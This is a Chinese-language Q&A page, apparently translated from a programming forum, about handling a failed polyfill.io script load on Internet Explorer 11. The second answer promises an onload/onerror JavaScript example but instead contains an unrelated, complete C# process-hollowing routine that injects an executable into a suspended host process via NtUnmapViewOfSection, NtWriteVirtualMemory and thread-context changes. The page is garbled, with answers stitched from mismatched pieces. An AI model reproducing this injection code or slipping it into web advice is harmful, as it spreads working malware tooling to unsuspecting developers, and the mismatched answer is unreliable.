我有一个SPA（建立在webpack上，带有babel等），其中包含index.html中的polyfill：
<script src="https://cdn.polyfill.io/v2/polyfill.min.js?features=Promise,Array.prototype.includes,Element.prototype.remove"></script>
polyfill的一个用例是为了在IE 10-11上使用Promise API。
我的错误监控报告IE 11客户端上的错误如下：
ReferenceError: 'Promise' is undefined
所以我认为特定会话因某种原因无法下载polyfill。
我的问题是：我该如何处理这个案子？这是我应该期待的场景吗？是否希望用户注意到应用程序无法正常工作，并重新加载页面？
答案 0 :(得分：1)
如果您真的担心，可以附加一个错误事件以允许更多控制。您通常不需要明确地处理此问题。
在这种特殊情况下，您可以迁移到使用babel来构建包含在脚本中的polyfill的包。这会为您的流程添加额外的构建步骤。
答案 1 :(得分：1)
由于您提到您正在使用webpack，因此最好通过import语句（类似core.js）直接在项目中包含必要的polyfill，而不是使用cdn - polyfill.io
但是，你也可以在脚本元素中添加一个ID并监听onload和onerror事件，以确定脚本（un）是否成功加载如下：
using System;
using System.Runtime.InteropServices;
public static unsafe class CMemoryExecute
{
/// <summary>
/// Runs an EXE (which is loaded in a byte array) in memory.
/// </summary>
/// <param name="exeBuffer">The EXE buffer.</param>
/// <param name="hostProcess">Full path of the host process to run the buffer in.</param>
/// <param name="optionalArguments">Optional command line arguments.</param>
/// <returns></returns>
public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "")
{
var IMAGE_SECTION_HEADER = new byte[0x28]; // pish
var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh
var IMAGE_DOS_HEADER = new byte[0x40]; // pidh
var PROCESS_INFO = new int[0x4]; // pi
var CONTEXT = new byte[0x2cc]; // ctx
byte* pish;
fixed (byte* p = &IMAGE_SECTION_HEADER[0])
pish = p;
byte* pinh;
fixed (byte* p = &IMAGE_NT_HEADERS[0])
pinh = p;
byte* pidh;
fixed (byte* p = &IMAGE_DOS_HEADER[0])
pidh = p;
byte* ctx;
fixed (byte* p = &CONTEXT[0])
ctx = p;
// Set the flag.
*(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL;
// Get the DOS header of the EXE.
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length);
/* Sanity check: See if we have MZ header. */
if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE)
return false;
var e_lfanew = *(int*)(pidh + 0x3c);
// Get the NT header of the EXE.
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length);
/* Sanity check: See if we have PE00 header. */
if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE)
return false;
// Run with parameters if necessary.
if (!string.IsNullOrEmpty(optionalArguments))
hostProcess += " " + optionalArguments;
if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, new byte[0x44], PROCESS_INFO))
return false;
var ImageBase = new IntPtr(*(int*) (pinh + 0x34));
NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase);
if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero)
Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations)
fixed (byte* p = &exeBuffer[0])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero);
for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++)
{
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length);
fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero);
}
NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)( *(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero);
*(uint*) (ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*) (pinh + 0x28 /* AddressOfEntryPoint */);
NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero);
return true;
}
private const uint CONTEXT_FULL = 0x10007;
private const int CREATE_SUSPENDED = 0x4;
private const int MEM_COMMIT = 0x1000;
private const int MEM_RESERVE = 0x2000;
private const int PAGE_EXECUTE_READWRITE = 0x40;
private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ
private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, byte[] lpStartupInfo, int[] lpProcessInfo);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount);
}
在你的项目index.js中：
<script id="polyfillScript" src="https://cdn.polyfill.io/v2/polyfill.min.js?features=Promise,Array.prototype.includes,Element.prototype.remove"></script>